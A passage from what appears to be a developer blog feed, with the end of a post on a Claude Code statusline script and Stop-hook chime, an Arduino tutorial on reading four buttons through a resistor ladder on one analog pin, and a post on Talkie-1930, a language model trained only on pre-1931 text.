  [ -n &quot;$ttl&quot; ] &amp;amp;&amp;amp; five_display=&quot;${five_display} (resets ${ttl})&quot;
fi

week_display=&quot;&quot;
if [ -n &quot;$week_pct&quot; ]; then
  ttl=$(format_ttl &quot;$week_reset&quot;)
  week_display=&quot;7d: $(printf &apos;%.0f&apos; &quot;$week_pct&quot;)%&quot;
  [ -n &quot;$ttl&quot; ] &amp;amp;&amp;amp; week_display=&quot;${week_display} (resets ${ttl})&quot;
fi

# 6. Session age (transcript file birth time)
transcript=$(echo &quot;$input&quot; | jq -r &apos;.transcript_path // empty&apos;)
session_age=&quot;--&quot;
if [ -n &quot;$transcript&quot; ] &amp;amp;&amp;amp; [ -f &quot;$transcript&quot; ]; then
  file_epoch=$(stat -f %B &quot;$transcript&quot; 2&amp;gt;/dev/null || stat -c %W &quot;$transcript&quot; 2&amp;gt;/dev/null)
  if [ -n &quot;$file_epoch&quot; ] &amp;amp;&amp;amp; [ &quot;$file_epoch&quot; -gt 0 ]; then
    diff=$(( $(date +%s) - file_epoch ))
    session_age=&quot;$(( diff / 3600 ))h$(( (diff % 3600) / 60 ))m&quot;
  fi
fi

# 7. Folder name
folder=$(echo &quot;$input&quot; | jq -r &apos;.workspace.current_dir // .cwd // &quot;&quot;&apos; | xargs basename 2&amp;gt;/dev/null)
[ -z &quot;$folder&quot; ] &amp;amp;&amp;amp; folder=&quot;.&quot;

# Colors
CYAN=&apos;\033[36m&apos;; GREEN=&apos;\033[32m&apos;; YELLOW=&apos;\033[33m&apos;
MAGENTA=&apos;\033[35m&apos;; BLUE=&apos;\033[34m&apos;; DIM=&apos;\033[2m&apos;; BOLD=&apos;\033[1m&apos;; RESET=&apos;\033[0m&apos;

parts=()
parts+=(&quot;$(printf &quot;${CYAN}${BOLD}%s${RESET}&quot; &quot;$model&quot;)&quot;)
parts+=(&quot;$(printf &quot;${DIM}ctx${RESET} %s&quot; &quot;$ctx_display&quot;)&quot;)
parts+=(&quot;$(printf &quot;${GREEN} %s${RESET}&quot; &quot;$git_branch&quot;)&quot;)
parts+=(&quot;$(printf &quot;${DIM}session${RESET} ${YELLOW}%s${RESET}&quot; &quot;$session_age&quot;)&quot;)
parts+=(&quot;$(printf &quot;${MAGENTA}%s${RESET}&quot; &quot;$folder&quot;)&quot;)
[ -n &quot;$five_display&quot; ] &amp;amp;&amp;amp; parts+=(&quot;$(printf &quot;${BLUE}%s${RESET}&quot; &quot;$five_display&quot;)&quot;)
[ -n &quot;$week_display&quot; ] &amp;amp;&amp;amp; parts+=(&quot;$(printf &quot;${BLUE}%s${RESET}&quot; &quot;$week_display&quot;)&quot;)

sep=&quot;$(printf &quot;${DIM} │ ${RESET}&quot;)&quot;
result=&quot;&quot;
for part in &quot;${parts[@]}&quot;; do
  [ -z &quot;$result&quot; ] &amp;amp;&amp;amp; result=&quot;$part&quot; || result=&quot;${result}${sep}${part}&quot;
done

printf &quot;%b&quot; &quot;$result&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three notes on the script.&lt;/p&gt;
&lt;p&gt;The context bar uses &lt;code&gt;awk&lt;/code&gt; for floating-point math because bash&apos;s arithmetic is integer only. The &lt;code&gt;seq&lt;/code&gt; loop after it is the simplest way to repeat a Unicode box-drawing character N times without resorting to &lt;code&gt;printf&lt;/code&gt; format quirks.&lt;/p&gt;
&lt;p&gt;The session-age block uses &lt;code&gt;stat -f %B&lt;/code&gt; on macOS (BSD &lt;code&gt;stat&lt;/code&gt;) and falls back to &lt;code&gt;stat -c %W&lt;/code&gt; on Linux (GNU &lt;code&gt;stat&lt;/code&gt;). Both ask for the file&apos;s birth time, which on the transcript file lines up with when the Claude Code session started. If your filesystem doesn&apos;t track birth time the field shows &lt;code&gt;--&lt;/code&gt; and that&apos;s fine.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git --no-optional-locks&lt;/code&gt; is there so the statusline doesn&apos;t fight an in-progress &lt;code&gt;git rebase&lt;/code&gt; or &lt;code&gt;git commit&lt;/code&gt; in the same repo. Without it you can occasionally get spurious lock contention when the agent is mid-commit.&lt;/p&gt;
&lt;h2&gt;Wiring it in&lt;/h2&gt;
&lt;p&gt;Make the script executable and add the &lt;code&gt;statusLine&lt;/code&gt; block to &lt;code&gt;~/.claude/settings.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x ~/.claude/statusline-command.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;statusLine&quot;: {
    &quot;type&quot;: &quot;command&quot;,
    &quot;command&quot;: &quot;bash /Users/me/.claude/statusline-command.sh&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use the absolute path. Claude Code spawns the command without your shell&apos;s &lt;code&gt;$HOME&lt;/code&gt; expansion, so &lt;code&gt;~/.claude/...&lt;/code&gt; will fail silently and you&apos;ll just see the default bar.&lt;/p&gt;
&lt;p&gt;After saving, the next render picks it up. You don&apos;t need to restart anything.&lt;/p&gt;
&lt;h2&gt;The bell on done (the part I got wrong)&lt;/h2&gt;
&lt;p&gt;My first attempt put &lt;code&gt;printf &apos;\a&apos;&lt;/code&gt; at the end of the statusline script, banking on the terminal to ring the ASCII bell character. I never heard a sound. The reason: Claude Code captures the script&apos;s stdout and renders it inside its own TUI, so the bell character is part of the displayed string rather than a control code reaching the terminal. It gets stripped or rendered as nothing. The statusline is the wrong surface for a bell.&lt;/p&gt;
&lt;p&gt;The right surface is a &lt;code&gt;Stop&lt;/code&gt; hook. Claude Code fires hooks at well-defined lifecycle events, and &lt;code&gt;Stop&lt;/code&gt; runs once when the agent finishes a turn. The hook command runs in a real shell, so anything that makes noise will work.&lt;/p&gt;
&lt;p&gt;Add this to &lt;code&gt;~/.claude/settings.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;hooks&quot;: {
    &quot;Stop&quot;: [
      {
        &quot;matcher&quot;: &quot;&quot;,
        &quot;hooks&quot;: [
          {
            &quot;type&quot;: &quot;command&quot;,
            &quot;command&quot;: &quot;afplay /System/Library/Sounds/Glass.aiff &amp;amp;&quot;
          }
        ]
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;afplay&lt;/code&gt; ships with macOS and the &lt;code&gt;&amp;amp;&lt;/code&gt; puts the sound in the background so the hook returns immediately. On Linux, swap in &lt;code&gt;paplay /usr/share/sounds/freedesktop/stereo/complete.oga &amp;amp;&lt;/code&gt; or &lt;code&gt;printf &apos;\a&apos; &amp;gt; /dev/tty&lt;/code&gt; if your terminal honors the bell character.&lt;/p&gt;
&lt;p&gt;The hook fires once per completed turn, which is what I actually wanted. No constant pinging during streaming, just a soft Glass chime when the answer is ready.&lt;/p&gt;
&lt;h2&gt;What I&apos;d change next&lt;/h2&gt;
&lt;p&gt;Two things on the list. Cost-per-session would be useful, but Claude Code doesn&apos;t expose that in the payload yet, so it would mean reading the transcript and tallying. And a colored threshold on the context bar (yellow at 70%, red at 90%) is one &lt;code&gt;awk&lt;/code&gt; branch away.&lt;/p&gt;
&lt;p&gt;If you build a variant, send it. The script is small enough that everyone&apos;s version will look slightly different, and that&apos;s the point.&lt;/p&gt;
</content:encoded></item><item><title>4 Buttons on 1 Analog Pin: The Voltage Divider Trick for Arduino</title><link>https://didof.dev/blog/voltage-divider-multiple-buttons-one-pin/</link><guid isPermaLink="true">https://didof.dev/blog/voltage-divider-multiple-buttons-one-pin/</guid><description>Wire four push buttons to a single analog pin using a binary-weighted resistor ladder. Each button (and combination) produces a unique voltage the microcontroller can map back to the right key. Includes the schematic, the math, and the Arduino sketch.</description><pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most Arduino tutorials wire one button per digital pin. Fine, until you also need a sensor, a motor driver, and an OLED. Pins run out fast.&lt;/p&gt;
&lt;p&gt;This trick puts four push buttons on a single analog pin using a resistor ladder. Each button produces a different voltage on &lt;code&gt;A0&lt;/code&gt;. The sketch reads the value, finds the closest calibrated match, and tells you which key was pressed.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The pin has to be an analog input (&lt;code&gt;A0&lt;/code&gt; to &lt;code&gt;A7&lt;/code&gt; on the Arduino Uno). The trick reads a continuous voltage, not HIGH/LOW.&lt;/li&gt;
&lt;li&gt;Four buttons share that pin via four resistors with binary-ish values: 1 kΩ, 2.2 kΩ, 4.7 kΩ, 10 kΩ.&lt;/li&gt;
&lt;li&gt;Ohm&apos;s law (&lt;code&gt;V = R·I&lt;/code&gt;) does the work. Each resistor drops a different share of the 5 V, so the pin sees a unique voltage per button.&lt;/li&gt;
&lt;li&gt;A 1 kΩ pull-down to ground keeps the pin at 0 V when nothing is pressed, so the reading is stable.&lt;/li&gt;
&lt;li&gt;The sketch picks the closest threshold within a ±20-point tolerance. Average several samples per check if the line is noisy.&lt;/li&gt;
&lt;li&gt;You free three digital pins for sensors, motors, or displays.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Why an analog pin (and what the ADC is doing)&lt;/h2&gt;
&lt;p&gt;Buttons have to sit on &lt;code&gt;A0&lt;/code&gt; (or any pin in &lt;code&gt;A0&lt;/code&gt; to &lt;code&gt;A7&lt;/code&gt; on the Uno) because we&apos;re reading a specific voltage level, not a binary state. Digital pins can&apos;t do that. They only see &quot;above the logic threshold&quot; or &quot;below it&quot;, and we need more resolution than two buckets.&lt;/p&gt;
&lt;p&gt;Each analog pin on the Arduino is wired to an ADC, an analog-to-digital converter. The ADC samples the voltage on the pin and maps it to a 10-bit integer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Input range: 0 V to 5 V (or whatever &lt;code&gt;AREF&lt;/code&gt; is set to)&lt;/li&gt;
&lt;li&gt;Output range: 0 to 1023 (10 bits is 2¹⁰ values)&lt;/li&gt;
&lt;li&gt;Resolution: roughly 4.9 mV per step&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So when &lt;code&gt;analogRead(A0)&lt;/code&gt; returns &lt;code&gt;510&lt;/code&gt;, the pin is sitting at about &lt;code&gt;510 / 1023 × 5 V ≈ 2.49 V&lt;/code&gt;. The whole point of the resistor network is to put each button&apos;s voltage far enough from the others that the ADC&apos;s integer output lands in a clean bucket.&lt;/p&gt;
&lt;h2&gt;How the circuit works&lt;/h2&gt;
&lt;p&gt;The four buttons sit in parallel between 5 V and the analog input. Each button has its own series resistor:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Button&lt;/th&gt;
&lt;th&gt;Series resistor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1 kΩ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2.2 kΩ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4.7 kΩ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;10 kΩ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A fifth resistor, 1 kΩ to ground, is the pull-down. Together with whichever button-resistor is currently in circuit, it forms a &lt;a href=&quot;https://en.wikipedia.org/wiki/Voltage_divider&quot;&gt;voltage divider&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The intuition is just Ohm&apos;s law (&lt;code&gt;V = R·I&lt;/code&gt;). Press a button and 5 V is applied across two resistors in series: the button&apos;s series resistor and the 1 kΩ pull-down. The same current flows through both, so each resistor drops a share of the 5 V proportional to its value. Bigger series resistor, bigger drop, less voltage left over at the pin. That&apos;s why a 10 kΩ button lands near 0.45 V while a 1 kΩ button lands near 2.5 V.&lt;/p&gt;
&lt;p&gt;The output voltage at &lt;code&gt;A0&lt;/code&gt; follows the standard divider formula:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Vout = Vin × Rpulldown / (Rpulldown + Rbutton)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &lt;code&gt;Vin = 5 V&lt;/code&gt; and &lt;code&gt;Rpulldown = 1 kΩ&lt;/code&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Button pressed&lt;/th&gt;
&lt;th&gt;R series&lt;/th&gt;
&lt;th&gt;V at A0&lt;/th&gt;
&lt;th&gt;analogRead (0-1023)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1 kΩ&lt;/td&gt;
&lt;td&gt;~2.50 V&lt;/td&gt;
&lt;td&gt;~510&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2.2 kΩ&lt;/td&gt;
&lt;td&gt;~1.56 V&lt;/td&gt;
&lt;td&gt;~320&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4.7 kΩ&lt;/td&gt;
&lt;td&gt;~0.88 V&lt;/td&gt;
&lt;td&gt;~180&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;10 kΩ&lt;/td&gt;
&lt;td&gt;~0.45 V&lt;/td&gt;
&lt;td&gt;~93&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;0 V&lt;/td&gt;
&lt;td&gt;~0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The values are spaced so that resistor tolerance, contact resistance, and ADC noise can&apos;t push one reading into the next bucket.&lt;/p&gt;
&lt;p&gt;The resistor choice is approximate, not exact powers of two. What matters is well-separated voltage levels. The ratios above give you four clean buckets even with ±5% resistors.&lt;/p&gt;
&lt;h2&gt;The schematic&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./cover.png&quot; alt=&quot;Breadboard wiring: four buttons in parallel, each through a different resistor, into a single Arduino analog pin with a 1 kΩ pull-down to ground&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Top rail is 5 V, bottom rail is GND. Each button bridges the 5 V rail to a column that holds its dedicated resistor. All four resistor outputs converge on the column wired to &lt;code&gt;A0&lt;/code&gt;. The pull-down sits between that same column and GND.&lt;/p&gt;
&lt;h2&gt;Reading it from software&lt;/h2&gt;
&lt;p&gt;The sketch samples &lt;code&gt;A0&lt;/code&gt;, finds the closest calibrated threshold, and only accepts the match when it&apos;s within ±20 points. That tolerance window is what makes the matching robust to small drift.&lt;/p&gt;
&lt;p&gt;It also does a debounce lock: once a press is registered, the loop blocks until the voltage drops back to zero, then waits 50 ms for the mechanical bounce to settle. No press is reported twice.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const int sensorPin = A0;

// The 4 calibrated base values
int thresholds[4] = {499, 314, 172, 90};
int buttonNames[4] = {1, 2, 3, 4};

void setup() {
  // Initialize serial communication at 9600 bits per second
  Serial.begin(9600);
  Serial.println(&quot;--- 4-Button Serial Keypad Ready ---&quot;);
}

void loop() {
  int reading = analogRead(sensorPin);

  // If reading is over 10, the 5V is getting through (a button is pressed)
  if (reading &amp;gt; 10) {

    int bestMatch = -1;
    int smallestDiff = 1024; // Start with the maximum possible difference

    // Scan the 4 thresholds to find the absolute closest one
    for (int i = 0; i &amp;lt; 4; i++) {
      int diff = abs(reading - thresholds[i]);
      if (diff &amp;lt; smallestDiff) {
        smallestDiff = diff;
        bestMatch = i;
      }
    }

    // Accept it only if the closest match is within the +/- 20 point tolerance
    if (smallestDiff &amp;lt;= 20) {

      // Print the matched button to the Serial Monitor
      Serial.print(&quot;Button Pressed: &quot;);
      Serial.println(buttonNames[bestMatch]);

      // --- The Debounce Lock ---
      // Freeze the loop here until the voltage drops back to 0 (button released)
      while(analogRead(sensorPin) &amp;gt; 10) {
        delay(10);
      }

      // Pause for 50ms to ignore the mechanical spring physically bouncing
      delay(50);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Calibrate your thresholds&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;thresholds[4]&lt;/code&gt; values in the sketch are what &lt;em&gt;I&lt;/em&gt; measured on my board. Yours will be off by a few points. Resistor tolerance, supply voltage, and ADC reference all shift the numbers a little.&lt;/p&gt;
&lt;p&gt;Easiest calibration: flash a stripped-down sketch that just prints &lt;code&gt;analogRead(sensorPin)&lt;/code&gt; on a loop. Press each button, write down the reading, paste those four numbers into the array. Done.&lt;/p&gt;
&lt;h3&gt;Average a few samples for noisy environments&lt;/h3&gt;
&lt;p&gt;A single &lt;code&gt;analogRead()&lt;/code&gt; call can jitter by a few points from sample to sample. Long jumper wires, a noisy power supply, or anything switching nearby will all push the noise floor up. The ±20 tolerance window absorbs most of it, but if you see false matches near the edges of two ranges, take several readings and average them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int readAveraged(int pin, int samples) {
  long total = 0;
  for (int i = 0; i &amp;lt; samples; i++) {
    total += analogRead(pin);
  }
  return total / samples;
}

// then in loop():
int reading = readAveraged(sensorPin, 8);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Eight samples take about 1 ms total on the Uno (each &lt;code&gt;analogRead&lt;/code&gt; is roughly 100 µs), and the noise floor drops a lot because random ADC error averages toward zero. This is independent of the debounce lock. Debouncing handles the &lt;em&gt;mechanical&lt;/em&gt; bounce of the switch contacts; averaging handles the &lt;em&gt;electrical&lt;/em&gt; noise on the line. Different problems, both worth solving.&lt;/p&gt;
&lt;h2&gt;Why the pull-down matters&lt;/h2&gt;
&lt;p&gt;Without the 1 kΩ to ground, the analog pin is floating when nothing is pressed. A floating ADC input picks up stray voltages from nearby traces and even your hand near the board, and the reading drifts unpredictably. You get phantom button presses.&lt;/p&gt;
&lt;p&gt;The pull-down ties the pin firmly to 0 V whenever no button completes the circuit. The ADC reads a stable zero, the &lt;code&gt;if (reading &amp;gt; 10)&lt;/code&gt; guard rejects it, and nothing happens. That single resistor is what separates a working keypad from one that fires randomly.&lt;/p&gt;
&lt;h2&gt;What you trade&lt;/h2&gt;
&lt;p&gt;The trick isn&apos;t free.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You lose multi-press detection unless you also calibrate the combined-press voltages. Pressing two buttons at once puts their resistors in parallel and produces a fifth, sixth, etc. distinct voltage. Doable, but the threshold table grows fast.&lt;/li&gt;
&lt;li&gt;One ADC sample takes about 100 µs on the Uno. If you need microsecond-level input timing, dedicated digital interrupts win. For UI buttons it doesn&apos;t matter.&lt;/li&gt;
&lt;li&gt;Resistor drift in extreme heat or cold can push a reading outside the ±20 tolerance. Indoor projects are fine.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For menu navigation, mode switches, retro-game keypads, anything where buttons exist to drive a UI, one analog pin and five resistors is a much better deal than burning four digital pins.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;This post is the long-form companion to the YouTube short embedded in the sidebar (60 seconds, same circuit).&lt;/p&gt;
&lt;p&gt;Thanks to a reader on the YouTube comments who pushed me to be clearer on the ADC side. The &lt;code&gt;analogRead&lt;/code&gt; mapping from voltage to a 10-bit integer, the Ohm&apos;s law framing for the voltage drop, and the multi-sample averaging trick all came out of that nudge.&lt;/p&gt;
</content:encoded></item><item><title>Talkie-1930: An LLM That Has Never Heard of Computers Just Learned to Code</title><link>https://didof.dev/blog/talkie-1930-llm-reasoning/</link><guid isPermaLink="true">https://didof.dev/blog/talkie-1930-llm-reasoning/</guid><description>Talkie-1930 is a 13B language model trained only on text published before 1931. It has never seen a computer. Given a few Python examples, it writes code anyway. Here is what that means for the reasoning vs memorization debate.</description><pubDate>Sat, 02 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When Claude or GPT-4 writes a working SQL query, you cannot tell whether the model reasoned its way to the answer or just remembered a similar one from 100 million GitHub repos. The training corpus is too big and too messy to rule out memorization for any specific output. That ambiguity is the quiet engine of the &quot;stochastic parrot&quot; debate, and it never resolves, because both sides are arguing about the same evidence.&lt;/p&gt;
&lt;p&gt;Nick Levine, David Duvenaud, and Alec Radford built a way out. Their model, &lt;a href=&quot;https://talkie-lm.com&quot;&gt;Talkie-1930&lt;/a&gt;, is a 13B-parameter LLM trained on 260 billion tokens of English text published before 31 December 1930. No code. No internet. No World War II. Then they handed it &lt;a href=&quot;https://github.com/openai/human-eval&quot;&gt;HumanEval&lt;/a&gt; (OpenAI&apos;s standard 164-problem Python coding benchmark) with a few Python examples in the prompt and asked it to write code.&lt;/p&gt;
&lt;p&gt;It can.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Talkie-1930 is a 13B LLM trained on 260B tokens of pre-1931 books, newspapers, periodicals, scientific journals, patents, and case law. Funded by Coefficient Giving and Anthropic.&lt;/li&gt;
&lt;li&gt;With Python examples in-context, it solves HumanEval problems at non-zero pass@100 (the benchmark sample succeeds if any of 100 attempts is correct), despite never having seen code or knowing what a computer is.&lt;/li&gt;
&lt;li&gt;Surprisingness on 4,990 NYT &quot;On This Day&quot; events climbs after 1930, peaking in the 1950s and 1960s, then plateauing. Bits-per-byte (the number of bits the model needs to encode each byte of text, where higher means &quot;more surprised&quot;) tracks the model&apos;s actual ignorance horizon.&lt;/li&gt;
&lt;li&gt;Time leakage is brutal. The 7B leaked the New Deal and named specific 1933 to 1935 statutes. The 13B leaked WWII and the United Nations.&lt;/li&gt;
&lt;li&gt;OCR errors cut effective learning to 30% of human-transcribed quality. Regex cleanup recovered it to 70%.&lt;/li&gt;
&lt;li&gt;The team is targeting a trillion-token corpus and a GPT-3-level Talkie by summer 2026.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The Cleanest Experiment We Have for &quot;Reasoning vs Memorization&quot;&lt;/h2&gt;
&lt;p&gt;The argument cuts like this. Pro-reasoning camp: LLMs solve novel problems, therefore they are doing something more than retrieval. Anti-reasoning camp: the training set is so vast that any &quot;novel&quot; problem has near-neighbors the model can paraphrase, and you cannot prove it didn&apos;t.&lt;/p&gt;
&lt;p&gt;Both sides are right within the frame they choose. The frame is the problem.&lt;/p&gt;
&lt;p&gt;Talkie-1930 is the cleanest natural experiment for breaking the frame. The training cutoff is hard, principled, and verifiable: 31 December 1930 is the date when works enter the public domain in the United States. The corpus is composed of materials whose original publication dates predate any modern technical concept the test will probe. If Talkie can write Python, it cannot have memorized Python. The capability has to come from somewhere else.&lt;/p&gt;
&lt;p&gt;The &quot;somewhere else&quot; is the part that matters.&lt;/p&gt;
&lt;h2&gt;What&apos;s in 260 Billion Tokens of Pre-1931 English&lt;/h2&gt;
&lt;p&gt;The corpus pulls from books, newspapers, periodicals, scientific journals, patents, and case law. These sources are not interchangeable for the question at hand. Case law and patents are the two heaviest carriers of formal logical structure in the historical written record. A patent abstract describes a mechanism in terms of components, relations, conditions, and outputs. A judicial opinion threads premises through rules of inference toward a conclusion that has to survive review. Both genres trained generations of human readers in the kind of step-by-step reasoning that programming later inherited.&lt;/p&gt;
&lt;p&gt;The team doesn&apos;t publish a per-source breakdown of tokens. The behaviour suggests these structurally rich genres punch above their weight.&lt;/p&gt;
&lt;h2&gt;The HumanEval Result You Should Care About&lt;/h2&gt;
&lt;p&gt;The model &quot;dramatically underperforms&quot; a modern-twin model trained on FineWeb (a large, modern web-scraped corpus from HuggingFace, used as a stand-in for &quot;everything a contemporary LLM gets to read&quot;) when both are evaluated on HumanEval pass@100 with Python examples in-context. Pass@100 means: sample the model 100 times for each problem, and count it as solved if any of those 100 completions runs correctly. That comparison is the headline most readers fixate on, and it&apos;s the wrong one.&lt;/p&gt;
&lt;p&gt;The right comparison is Talkie-1930 vs zero. The model has never been told what a computer is. It has not seen a &lt;code&gt;def&lt;/code&gt; or a &lt;code&gt;for&lt;/code&gt; loop in 260 billion tokens. Researchers paste a handful of working Python examples into the prompt, and the model produces additional working Python. Pass@100 is well above floor. The capability exists.&lt;/p&gt;
&lt;p&gt;That single fact eliminates one explanation for in-context learning as a phenomenon. Whatever in-context learning is doing in modern LLMs, it is not solely &quot;remembering similar code from training and pattern-matching the prompt to it&quot;. A model that has never seen code can still extract syntax rules from examples and apply them. The inductive substrate has to predate the specific domain.&lt;/p&gt;
&lt;p&gt;If you&apos;ve spent any time prompting current models, this should reorganize how you think about few-shot prompting. The few-shot examples are not retrieval triggers. They are something closer to an instruction set the model assembles on the fly out of more general capacity.&lt;/p&gt;
&lt;h2&gt;Forecasting the Future With Bits Per Byte&lt;/h2&gt;
&lt;p&gt;The reasoning result is the eye-catcher. The forecasting result is the methodology contribution that quietly does the most work.&lt;/p&gt;
&lt;p&gt;The team scored Talkie-1930&apos;s surprise at 4,990 historical event descriptions sourced from the New York Times &quot;On This Day&quot; column. The metric is bits per byte: how many bits the model needs to encode a passage, normalized by passage length. Lower numbers mean the model found the content predictable; higher numbers mean the content sat outside what the model could anticipate. It&apos;s a close cousin of perplexity, just measured per byte of raw text instead of per token, which makes it cleaner to compare across models with different tokenizers.&lt;/p&gt;
&lt;p&gt;Run that across the 20th century and you get a curve. Quoting the project directly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;We can see an increase after the knowledge cutoff, particularly pronounced in the 1950s and 1960s, followed by a plateau.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 1950s-60s peak is where the Cold War, the space race, and the early computing era arrive in the news cycle. These are the concepts most semantically distant from anything in the pre-1931 corpus. The plateau after that point is the model bottoming out: at some level of unfamiliarity, additional novelty stops registering as additional surprise.&lt;/p&gt;
&lt;p&gt;This is a clean operationalization of &quot;what does the model genuinely not know&quot;. It also gives you an objective signal for AI forecasting research that doesn&apos;t require you to ask the model to predict anything. You just measure its surprise at history.&lt;/p&gt;
&lt;h2&gt;Time Leakage: The Part Where the Experiment Almost Breaks&lt;/h2&gt;
&lt;p&gt;The hard part of training a model with a clean knowledge cutoff is keeping the cutoff clean. Two specific failures show up in the project&apos;s own materials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The 7B model leaked the New Deal.&lt;/strong&gt; Asked who was the US President in 1936, an earlier 7B Talkie correctly named Franklin D. Roosevelt and cited the National Recovery Act of 1933, the Agricultural Adjustment Act of 1935, and the Emergency Banking Act of 1935. Each of those is more than two years past the cutoff. The leak almost certainly traveled through editorial introductions, prefaces, footnotes, and library cataloguing metadata embedded in scanned books. A 1928 economics text reissued in 1962 carries a 1962 introduction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The 13B model leaked WWII.&lt;/strong&gt; Despite tighter filtering, the larger model retained knowledge of the United Nations and the postwar division of Germany. Same root cause, different surfaces.&lt;/p&gt;
&lt;p&gt;What this proves is mundane and important. A &quot;knowledge cutoff&quot; is not a physical wall. It is a continuous filtering problem with adversarial inputs (modern editorial content piggybacking on old documents). Anyone who has ever audited a &quot;model trained only on data before X&quot; claim now has a concrete case study showing how leakage actually happens.&lt;/p&gt;
&lt;h2&gt;OCR Is the Other Reason This Project Was Hard&lt;/h2&gt;
&lt;p&gt;Pre-1931 text is not natively digital. It exists as scanned images of physical pages, processed through optical character recognition. OCR on historical print is famously noisy.&lt;/p&gt;
&lt;p&gt;The team measured the cost. Training on raw machine-transcribed text yielded 30% of the learning efficiency that human-transcribed versions achieved. Regex cleanup brought that up to 70%. The remaining 30% gap is what the team has to close to get to GPT-3-level capability on a fully historical corpus.&lt;/p&gt;
&lt;p&gt;Their illustrative example is the opening of L. Frank Baum&apos;s &lt;em&gt;The Wonderful Wizard of Oz&lt;/em&gt; (1899) as it landed in the corpus before cleanup:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;J)ecause of the great Lion... C &apos;This must be the Land of Oz,&quot; said^Dor(|tliy...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Multiply by 260 billion tokens and you understand why &quot;just train on the public domain&quot; turned out to be a multi-year engineering project rather than a weekend hack.&lt;/p&gt;
&lt;h2&gt;Vintage Post-Training: How to Make a 1930s Chatbot&lt;/h2&gt;
&lt;p&gt;A pretrained Talkie can complete pre-1931 prose. Making it follow instructions without injecting modern preferences required a custom post-training pipeline. The team generated instruction-response pairs from period-appropriate reference material:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An etiquette manual (Beadle, 1859)&lt;/li&gt;
&lt;li&gt;A practical knowledge book (Henley, 1914)&lt;/li&gt;
&lt;li&gt;A parlor guide (Sandison, c. 1895)&lt;/li&gt;
&lt;li&gt;A letter-writing manual (Chambers, 1900)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They also pulled from cookbooks, dictionaries, encyclopedias, and poetry and fable collections. These genres carry implicit instruction-following in their structure: a recipe is a procedure with a goal, a dictionary is a Q&amp;amp;A about words, a letter-writing manual is a templated request-response corpus.&lt;/p&gt;
